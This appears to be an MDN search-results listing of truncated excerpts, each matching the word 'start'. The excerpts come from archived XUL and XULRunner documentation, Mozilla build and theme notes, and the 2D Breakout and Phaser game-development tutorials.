the tree view's nsitreeview.getcelltext() method is called to obtain the cell contents. stopediting( shouldaccept ) return type: no return value stops editing the cell currently being edited. if the shouldaccept p...
...und-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } if using a content tree view, use the following to get the value of the id attribute for each of the selected rows of a tree: var idlist = []; var rangecount = tree.view.selection.getrangecount(); for (var i = 0; i < rangecount; i++) { var
start = {}; var end = {}; tree.view.selection.getrangeat(i,
start, end); for (var c =
start.value; c <= end.value; c++) { idlist.push(tree.view.getitematindex(c).firstchild.id); } } the following returns a array of the indicies of the rows where the value is checked in a checkbox type column: function getcellchecked(tree, columnid) { var arr = []; var column = tree.columns.getnamedco...
treecol - Archive of obsolete content
if you want, you can also style the tree using css. attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
window - Archive of obsolete content
co and/or <windowid>.xpm and place or install these files into the <mozilla-directory>/chrome/icons/default/ directory. the <windowid> is the value of the id attribute on the window. this allows you to have a different icon for each window. without including the css file at "chrome://global/skin/", the window will not be stylized and will be invisible and glitchy when opened as a dialog. note:
starting in gecko 1.9.2, you can detect when a window is activated or deactivated by watching for the "activate" and "deactivate" events. see window activation events. more information is available in the xul tutorial. attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx,...
...ste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!! ...
wizardpage - Archive of obsolete content
his pageid is displayed when the next button is pressed. this can be used to create wizards that do not have a linear sequence. if one of the pages has a next attribute, all of the pages should have one, except that last page. pageid type: id this attribute should be set to a string that identifies the page's identifer in the wizard. this is used with the next attribute. the wizard always
starts with the wizardpage that appears first in the wizard child list. properties next type: string wizardpage id set to the pageid of the next page after this one. when set, the page with this pageid is displayed when the next button is pressed. this can be used to create wizards that do not have a linear sequence. if one of the pages has a next attribute, all of the pages should have one,...
...layed when the next button is pressed. this can be used to create wizards that do not have a linear sequence. if one of the pages has a next attribute, all of the pages should have one, except that last page. pageid type: string wizardpage id this attribute should be set to a string that identifies the page's identifer in the wizard. this is used with the next attribute. the wizard always
starts with the wizardpage that appears first in the wizard child list. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , re...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
/library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...be deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
brary/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. interwiki language links ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
/library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...nner for more information. where is the source code? here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
udo rm /var/db/receipts/org.mozilla.xulrunner.* installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...yed privately with each application. see deploying xulrunner for more information. where is the source code? here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
XULRunner 1.9 Release Notes - Archive of obsolete content
brary/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...ately with each application. see deploying xulrunner for more information. where is the source code? here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
XULRunner 2.0 Release Notes - Archive of obsolete content
he /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or another convenient place. ...
...oying xulrunner for more information. where is the source code? here. where is the sdk? here. see gecko sdk for information about the sdk. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
Building XULRunner with Python - Archive of obsolete content
sp 1 is available. the matching platform sdk is also needed and for msvc71 that is .net framework sdk 1.1. the latest mozilla build system is easy to use. install the included python distro usingpython25\python-2.5.msi. it doesn't need to be installed for the build but will be useful later when installing python packages which look for entries in the windows' registry. building the batch file
start-msvc71.bat is used to launch the build console (msys from the mingw project ). if you plan to checkout often into empty folders you could modify it to set the cvsroot environment variable. set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot having created amozilla project directory (e.g.c:\projects\mozilla or/c/projects/mozilla in msys) create the following .mozconfig file. note thi...
...ication or errors will occur on the target machine. it is possible to test for python in a batch file using something like rem check python 2.5 installed reg query "hklm\software\python\pythoncore\2.5" > nul 2>&1 || reg query "hkcu\software\python\pythoncore\2.5" > nul 2>&1 if errorlevel 1 ( echo python 2.5 was not found. please install it. echo exiting... pause exit /b 1 )
start "xulrunner with python" "%moz_bin%\xulrunner.exe" -app application.ini %opts% exit /b 0 see xulrunner:deploying_xulrunner_1.8 for general information. sample a sample xulrunner application with these python features is available. this includes the pyxpcom tests and a basic python console from alex badea ...
Deploying XULRunner - Archive of obsolete content
le version of xulrunner must be registered on the system and the app must be deployed per the instructions at xul application packaging. if your installer is capable of determining whether or not xulrunner has been registered on the system you could perform the check and register the appropriate version if necessary. after that, the app could be installed to the registered xulrunner and appear in
start menus, lists of installed programs, etc. (bonus points for checking the operating system and downloading the right xulrunner on the fly, or bundling them into your installer). registration and app installation are performed with command line switches as outlined in the xulrunner section of article command line options. it may turn out to be easier to create a self contained portable application,...
...runner 11.0 with xulrunner 11.0 you may need to copy "gkmedias.dll" from the xulrunner directory to the root directory mac os x on mac os x, the exact layout of your application bundle depends on which version of xulrunner you're using. xulrunner 39 and later due to mac os x code signing rules and how they interact with the design of xulrunner (see bug 1105044 for the inside scoop),
starting with xulrunner 39 the xulrunner library files are no longer able to reside in a xulrunner framework directory. instead, the library files are placed directly into the macos directory alongside the main executable file. here's how the entire application bundle looks: myapp.app/ contents/ info.plist pkginfo resources/ application.ini app_icon.i...
XULRunner - Archive of obsolete content
xulrunner is a mozilla runtime package that can be used to bootstrap xul+xpcom applications that are as rich as firefox and thunderbird. it provides mechanisms for installing, upgrading, and uninstalling these applications. xulrunner also provides libxul, a solution which allows the embedding of mozilla technologies in other projects and products. releases until version 41, xulrunner could be downloaded from ftp.mozilla.org. firefox (from version 3) ships with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available. ...
...ps with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available. overview development plan what xulrunner provides xulrunner faq nightly builds: unstable-trunk documentation getting
started with xulrunner short tutorial on building desktop applications with xulrunner. xul tutorial once you have a working xulrunner application, use the xul tutorial to expand it into a fantastic xul application. xulrunner tips a collection of tips for working with xulrunner. deploying xulrunner an introduction on how to package your application with xulrunner. ...
Archived Mozilla and build documentation - Archive of obsolete content
a extension that adds an icon to mozilla's status bar showing the current status of the mozilla source code (i.e. whether or not the latest version of the code is compiling successfully and passing tests). the extension will access tinderbox, mozilla.org's webtool for tracking source code status, to get the status of the code. creating a skin for firefox/getting
started download the latest version of firefox and install it. be sure to install the dom inspector extension as well. creating a skin for mozilla in order to create a skin for mozilla, you will need to know three things. how to edit images, extract zip files, and how to modify css. mozilla uses standard gif, png, and jpeg images for the buttons and css to style everyt...
...ps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. migrate apps from internet explorer to mozilla when netscape
started the mozilla browser, it made the conscious decision to support w3c standards. as a result, mozilla is not fully backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later. browsers, like internet explorer 4, that were built before the conception of w3c standards inherited many quirk...
Gecko Compatibility Handbook - Archive of obsolete content
rs. or, if you are using user-agent detection, you can install an extension in firefox or mozilla which allows you to "spoof" the user-agent strings of the various gecko browsers. here's how: launch mozilla or firefox. the benefit of using these browsers is that if you're only detecting netscape or netscape6 you'll see the issues right away. install the user agent switcher extension. ...
...you can verify the string got changed by looking under help | about. you can find the user agent strings of many gecko-based browsers here. ...
Mozilla release FAQ - Archive of obsolete content
with netscape. various other people have contributed to this faq. general questions about the mozilla project what is mozilla? mozilla is a project to continue netscape communicator as an open project. the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the community. on what is mozilla based? the mozilla project
started near the end of life of the 4.x line of netscape communicator. originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the community that the more ambitious changes that were planned for later integration were close to being ready. the old layout engine, networking engine, and several of the older modules were gutted, and much later, the sources reached...
...t, and people were still rude to me. why? if you're proposing reworking something (like http, html, etc) you're expected to have a pretty good knowlege of it first. for example, if you were to make a proposal to compress whole webpages before sending them, devise a new protocol to do so, research how http works, how html works, and think about all the good *and* bad points of reworking things. to
start understanding the issues with this example, you should dig up the rfcs for the relevant protocols, any documents written on the subject, etc. for this particular example, you would want to go look at relevant topics stuart cheshire's discussion on latency versus bandwidth internet -- under the covers (by me) the rfc for http the w3's html 4.0 definition building mozilla i get x error wh...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding. the distributor university students working on cache distribution project - looking for help for how to tap the http requests. ...
... binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding. the distributor university students working on cache distribution project - looking for help for how to tap the http requests. ...
2006-09-29 - Archive of obsolete content
binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding. the distributor university students working on cache distribution project - looking for help for how to tap the http requests. ...
... binding tab bar to new theme discussion about how to bind a new theme to a tab bar without losing its original binding. the distributor university students working on cache distribution project - looking for help for how to tap the http requests. ...
2006-10-06 - Archive of obsolete content
or thunderbird 2 eric shepherd has requested feedback for any developer documentation issues that might need dealing with for thunderbird 2. discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to
start developing and building tb, documentation on source structure as well as links to help one get
started on the project. david bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them. brian king also mentions that documentation on handling message headers on the ui side would be helpful. cédric corazza recommends that the pro...
...id bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them. brian king also mentions that documentation on handling message headers on the ui side would be helpful. cédric corazza recommends that the proposed documention should be made available on the l10n cvs once it reaches a decent stage so that localizers can get a head-
start on the localization before the final version is made available. updated : need ui to rearrange tags peter lairo suggested some ui should be available for rearranging tags. related: bug 342065 meetings none for this week. ...
2006-12-01 - Archive of obsolete content
until gecko 1.9a1 ships (nov 28th). watch #grandparadiso for updates. discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting, this thread discusses where else can info about what happens at the meetings be found (since the agenda often seems bare). m.d.planning and dev news blog are suggested. bon echo project status: remaining "to-do" items beltzner
starts a discussion on when to offer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released). also discussed is the the mozilla_1_8_branch's npotb (not part of the build) checkin policy. this newsgroup or "governance"? mitchell baker asks where should topics about organization and governance, moz.dev.planning or moz.governance? mozilla.org staff, project drivers, and techni...
...ffer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released). also discussed is the the mozilla_1_8_branch's npotb (not part of the build) checkin policy. this newsgroup or "governance"? mitchell baker asks where should topics about organization and governance, moz.dev.planning or moz.governance? mozilla.org staff, project drivers, and technical oversight mike connor
starts a discussion about the need for a "buck stops here" group and the replacement of drivers@mozilla.org. three replacement groups (with sample makeup) are proposed. meetings november 29th gecko 1.9/gran paradiso status meeting: (agenda). november 27 weekly project status meeting: (agenda) ...
0.90 - Archive of obsolete content
<item> <title>npl 1.0m published</title> <link>http://www.mozilla.org/npl/npl-1.0m.html</link> </item> </rdf:rdf> note that here, rss is being used to list sections of the web site. ...
...g used to list sections of the web site. rather than for syndication. ...
Introduction to Public-Key Cryptography - Archive of obsolete content
in the certificate for the usa ca can be used to verify the usa ca's digital signature on the certificate for the engineering ca. verifying a certificate chain certificate chain verification is the process of making sure a given certificate chain is well-formed, valid, properly signed, and trustworthy. red hat software uses the following procedure for forming and verifying a certificate chain,
starting with the certificate being presented for authentication: the certificate validity period is checked against the current time provided by the verifier's system clock. the issuer's certificate is located. the source can be either the verifier's local certificate database (on that client or server) or the certificate chain provided by the subject (for example, over an ssl connection). the ce...
...re is verified using the public key in the issuer's certificate. if the issuer's certificate is trusted by the verifier in the verifier's certificate database, verification stops successfully here. otherwise, the issuer's certificate is checked to make sure it contains the appropriate subordinate ca indication in the red hat certificate type extension, and chain verification returns to step 1 to
start again, but with this new certificate. figure 8 presents an example of this process. figure 8 shows what happens when only root ca is included in the verifier's local database. if a certificate for one of the intermediate cas shown in figure 8, such as engineering ca, is found in the verifier's local database, verification stops with that certificate, as shown in figure 9. expired validity ...
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of this page is to provide provide theme developers with notes on how to fix common issues. it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste review notes for common theme issues. this document was
started on july 27, 2012 so it will take some time to completely fill in and some issues still need to have solutions written for them. operating system specific issues windows 7 windows 7 aero missing right-hand title bar buttons when tabs are on top and the menu bar is disabled, firefox is missing the min/max/restore/close button on the right side of the title bar. please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 ...
...windows 7 windows 7 aero missing right-hand title bar buttons when tabs are on top and the menu bar is disabled, firefox is missing the min/max/restore/close button on the right side of the title bar. please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&
start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly. the resolution to this issue is to add the following code to your browser.css file somewhere below where the main-window is made transparent to support aero glass. @media all and (-moz-windows-compositor) { /* make transition ...
Theme changes in Firefox 3 - Archive of obsolete content
d deleted files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. ...
...also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml. ...
-ms-scroll-snap-points-x - Archive of obsolete content
ints will be located along the x-axis. initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>. snapinterval( <length-percentage>, <length-percentage> ) specifies a
starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, eac...
... ...
-ms-scroll-snap-points-y - Archive of obsolete content
ints will be located along the y-axis. initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>. snapinterval( <length-percentage>, <length-percentage> ) specifies a
starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both above and below the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which re...
... ...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
channel for feedback on ecmascript standards is es-discuss. below is a list of features in es2016+ and what version of firefox they were implemented in. ...
... implemented proposals not in es.next this section needs to be updated to reflect current changes. (may 2019) the following features are alread...
XForms Repeat Element - Archive of obsolete content
or each node in the nodeset, the contents of the repeat element will be displayed in the form. that node will serve as the context node for any relative xpath expressions in that set of repeated markup. attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. node set binding special
startindex - optional 1-based initial value of the repeat index. the default value is 1. number - isn't supported type restrictions the repeat element can be bound to a nodeset. representations the repeat element doesn't have a visual representation. however, it can influence the layout of generated controls depending on its appearance attribute. default layout each generated control set is ...
...where each row of the table binds to a distinct member of a homogeneous collection. since html:table doesn't (and probably never will) allow xforms:repeat elements as children, another syntax is needed. to accommodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-nodeset repeat-
startindex repeat-number additionally, when using xforms action setindex, its repeat attribute (which contains an idref) can point to any element carrying these repeat attributes. similarly, the index function can be used with the repeating structures created via these repeat-attributes. the id of the element that contains the repeat attributes can be used as the argument to index. note, we don't full...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
a control if it isn't present. if the flash activex control is not installed, ie will then go to the url referenced by the codebase attribute and retrieve the activex control. additional param elements (which are "children" of the above object element) specify configuration parameters for the flash plugin. for instance, the param name="movie" tells the flash plugin the location of the swf file to
start playing. with the release of netscape 7.1, this kind of activex use of the object element is supported for use with the microsoft® windows media player. only the windows media player is supported as an activex control in netscape 7.1. the details are covered in another article. browsers such as netscape 7 will not render the flash plugin if the above kind of markup is used, because netscape 7 ...
...ozilla open source code. some plugins don't understand all the param elements that their documentation suggests should configure them in mozilla-based browsers. an example is versions of the macromedia flash player plugin upto flash player 6 r. 47, which don't understand the <param name="movie" value="animation.swf"> param element, which is supposed to tell the flash player which animation to
start playing. in order to work around this, developers are encouraged to use the data attribute to the object element: <object type="application/x-shockwave-flash" data="animation.swf"..../>. the fact that the flash player doesn't understand this param is a macromedia flash player bug that is bug 180378. recommendation in order to overcome the shortcomings that you can't nest object elements in ie ...
XUL Parser in Python - Archive of obsolete content
to the header myself, and haven't figured out yet how to get that written automatically. i guess you could get a modify date from the files as you open them. how the script works as i said before, there isn't too much to explain in this script, particularly if you have used python's xmllib parser before. at the middle of it is a subclass of the xmllib parser that overrides that parser's unknown_
starttag method and asks it to do all the work. the unknown_
starttag handler is fed the tag name, the attributes of that tag, and the attributes' values, so all you have to do as you hit each xul element is build up a nested dictionary of elements and their associated attributes. after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 ...
... a + '</td>') with these modifications, the script creates an output more like a periodic table of xul elements. until i spruce it up a little, this is just a very basic demonstration of using python's xml parser with xul. but mozilla's upcoming support for languages like perl and python will really open up the mozilla platform to tools and approaches of this kind--and make now a good time to
start thinking about how these various technologies will be put together. the first level of support for python in mozilla will apparently be for python modules made available as xpcom objects. extending on the approach in this script, then, you could imagine a kind of introspective xul chrome that could modify and replicate itself by calling services from the xulparser and xulwriter xpcom objects. ...
bootstrap.js - Extensions
the bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension. the script gets executed in a privileged sandbox, which is cached until the extension is shut down. for more information, see bootstrapped extensions. the example below contains the required methods in vsdoc format. ...
...down. for more information, see bootstrapped extensions. the example below contains the required methods in vsdoc format. ...
Bounce off the walls - Game development
allradius = 10; now update the line that draws the ball inside the drawball() function to this: ctx.arc(x, y, ballradius, 0, math.pi*2); bouncing off the top and bottom there are four walls to bounce the ball off — let's focus on the top one first. we need to check, on every frame, whether the ball is touching the top edge of the canvas — if yes, we'll reverse the ball movement so it will
start to move in the opposite direction and stay within the visible boundaries. remembering that the coordinate system
starts from the top left, we can come up with something like this: if(y + dy < 0) { dy = -dy; } if the y value of the ball position is lower than zero, change the direction of the movement on the y axis by setting it equal to itself, reversed. if the ball was moving upwards with ...
...g "up" with a speed of -2 pixels, which actually equals to moving down at a speed of 2 pixels per frame. the code above would deal with the ball bouncing off the top edge, so now let's think about the bottom edge: if(y + dy > canvas.height) { dy = -dy; } if the ball's y position is greater than the height of the canvas (remember that we count the y values from the top left, so the top edge
starts at 0 and the bottom edge is at 320 pixels, the canvas' height), then bounce it off the bottom edge by reversing the y axis movement as before. we could merge those two statements into one to save on code verbosity: if(y + dy > canvas.height || y + dy < 0) { dy = -dy; } if either of the two statements is true, reverse the movement of the ball. bouncing off the left and right we have the ...
Create the Canvas and draw on it - Game development
this can be done using html and the <canvas> element. the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element. ...
... bottom of your javascript, saving and refreshing: ctx.beginpath(); ctx.arc(240, 160, 20, 0, math.pi*2, false); ctx.fillstyle = "green"; ctx.fill(); ctx.closepath(); as you can see we're using the beginpath() and closepath() methods again. between them, the most important part of the code above is the arc() method. it takes six parameters: x and y coordinates of the arc's center arc radius
start angle and end angle (what angle to
start and finish drawing the circle, in radians) direction of drawing (false for clockwise, the default, or true for anti-clockwise.) this last parameter is optional. the fillstyle property looks different than before. this is because, just as with css, color can be specified as a hexadecimal value, a color keyword, the rgba() function, or any of the other av...
Game over - Game development
llradius) { dy = -dy; } instead of allowing the ball to bounce off all four walls, let's only allow three now — left, top and right. hitting the bottom wall will end the game. we'll edit the second if block so it's an if else block that will trigger our "game over" state upon the ball colliding with the bottom edge of the canvas. for now we'll keep it simple, showing an alert message and re
starting the game by reloading the page. first, replace where you initially called setinterval() setinterval(draw, 10); with: var interval = setinterval(draw, 10); then replace the second if statement with the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { alert("game over"); document.location.reload(); clearinterval(interval)...
...); } } if the ball hits the bottom edge of the canvas we need to check whether it hits the paddle . if yes, then it bounces off just like you'd expect; if not then the game is over as before. compare your code here's the working code for you to compare yours against: exercise: make the ball move faster when it hits the paddle. next steps we're doing quite well so far and our game is
starting to feel a lot more worth playing now you can lose! but it is still missing something. let's move on to the sixth chapter — build the brick field — and create some bricks for the ball to destroy. « previousnext » ...
Move the ball - Game development
your draw() function: ctx.beginpath(); ctx.arc(50, 50, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); try your updated code now — the ball should be repainted on every frame. making it move you won't notice the ball being repainted constantly at the moment, as it's not moving. let's change that. first, instead of a hardcoded position at (50,50) we will define a
starting point at the bottom center part of the canvas in variables called x and y, then use those to define the position the circle is drawn at. first, add the following two lines above your draw() function, to define x and y: var x = canvas.width/2; var y = canvas.height-30; next update the draw() function to use the x and y variables in the arc() method, as shown in the following highlighted lin...
...n, and this time you'll see the ball move without a trail. every 10 milliseconds the canvas is cleared, the blue circle (our ball) will be drawn on a given position and the x and y values will be updated for the next frame. cleaning up our code we will be adding more and more commands to the draw() function in the next few articles, so it's good to keep it as simple and clean as possible. let's
start by moving the ball drawing code to a separate function. replace the existing draw() function with the following two functions: function drawball() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); drawball(); x += dx; y += dy; } co...
Paddle and keyboard controls - Game development
some user interaction: a controllable paddle. defining a paddle to hit the ball so, we need a paddle to hit the ball. let's define a few variables for that. add the following variables near the top of your code, beside your other variables: var paddleheight = 10; var paddlewidth = 75; var paddlex = (canvas.width-paddlewidth) / 2; here we're defining the height and width of the paddle and its
starting point on the x axis for use in calculations further on down the code. let's create a function that will draw the paddle on the screen. add the following just below your drawball() function: function drawpaddle() { ctx.beginpath(); ctx.rect(paddlex, canvas.height-paddleheight, paddlewidth, paddleheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } allowing th...
... « previousnext » ...
2D breakout game using pure JavaScript - Game development
ble to build your own simple web games. lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: create the canvas and draw on it move the ball bounce off the walls paddle and keyboard controls game over build the brick field collision detection track the score and win mouse controls finishing up
starting with pure javascript is the best way to get a solid knowledge of web game development. after that, you can pick any framework you like and use it for your projects. frameworks are just tools built with the javascript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. frameworks speed up develop...
... next » ...
Animations and tweens - Game development
idth or opacity. let's add a tween to our game to make the bricks smoothly disappear when they are hit by the ball. go to your ballhitbrick() function, find your brick.kill(); line, and replace it with the following: var killtween = game.add.tween(brick.scale); killtween.to({x:0,y:0}, 200, phaser.easing.linear.none); killtween.oncomplete.addonce(function(){ brick.kill(); }, this); killtween.
start(); let's walk through this so you can see what's happening here: when defining a new tween you have to specify which property will be tweened — in our case, instead of hiding the bricks instantly when hit by the ball, we will make their width and height scale to zero, so they will nicely disappear. to the end, we use the add.tween() method, specifying brick.scale as the argument as this is...
... of the tween. it takes an object containing the chosen parameter's desired ending values (scale takes a scale value, 1 being 100% of size, 0 being 0% of size, etc.), the time of the tween in milliseconds and the type of easing to use for the tween. we will also add the optional oncomplete event handler, which defines a function to be executed when the tween finishes. the last thing do to is to
start the tween right away using
start(). that's the expanded version of the tween definition, but we can also use the shorthand syntax: game.add.tween(brick.scale).to({x:2,y:2}, 500, phaser.easing.elastic.out, true, 100); this tween will double the brick's scale in half a second using elastic easing, will
start automatically, and have a delay of 100 miliseconds. compare your code you can check ...
Bounce off the walls - Game development
« previousnext » this is the 6th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson06.html. now that physics have been introduced, we can
start implementing collision detection into the game — first we'll look at the walls. bouncing off the world boundaries the easiest way to get our ball bouncing off the walls is to tell the framework that we want to treat the boundaries of the <canvas> element as walls and not let the ball move past them. in phaser this can be easily accomplished using the collideworldsbound property. add this line right after the existing game.physics.enable() method call: ball.body.collideworldbounds = true; now the ball will stop ...
...r we have to set its bounciness. add the following line below the previous one: ball.body.bounce.set(1); try reloading index.html again — now you should see the ball bouncing off all the walls and moving inside the canvas area. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps this is
starting to look more like a game now, but we can't control it in any way — it's high time we introduced the player paddle and controls. « previousnext » ...
Initialize the framework - Game development
this can be done using html — the phaser framework will generate the required <canvas> element. ...
...and webgl. we can set one of the latter two explicitly or use auto to let phaser decide which one to use. it usually uses webgl if available in the browser, falling back to canvas 2d if not. the id of the <canvas> to use for rendering if one already exists on the page (we've specified null because we want phaser to create its own.) the names to use for phaser's three key functions that load and
start the game, and update the game loop on every frame; we will use the same names to keep it clean. preload takes care of preloading the assets create is executed once when everything is loaded and ready update is executed on every frame. compare your code here's the full source code of the first lesson, running live in a jsfiddle: next steps now we've set up the basic html an...
Physics - Game development
three different physics engines — arcade physics, p2 and ninja physics — with a fourth option, box2d, being available as a commercial plugin. for simple games like ours, we can use the arcade physics engine. we don't need any heavy geometry calculations — after all it's just a ball bouncing off walls and bricks. first, let's initialize the arcade physics engine in our game. add the physics.
startsystem() method at the beginning of the create function (make it the first line inside the function), as shown below: game.physics.
startsystem(phaser.physics.arcade); next, we need to enable our ball for the physics system — phaser object physics is not enabled by default. add the following line at the bottom of the create() function: game.physics.enable(ball, phaser.physics.arcade); next,...
...this properly, with a physics engine. final code check the latest code should look like this: var ball; function preload() { game.scale.scalemode = phaser.scalemanager.show_all; game.scale.pagealignhorizontally = true; game.scale.pagealignvertically = true; game.stage.backgroundcolor = '#eee'; game.load.image('ball', 'img/ball.png'); } function create() { game.physics.
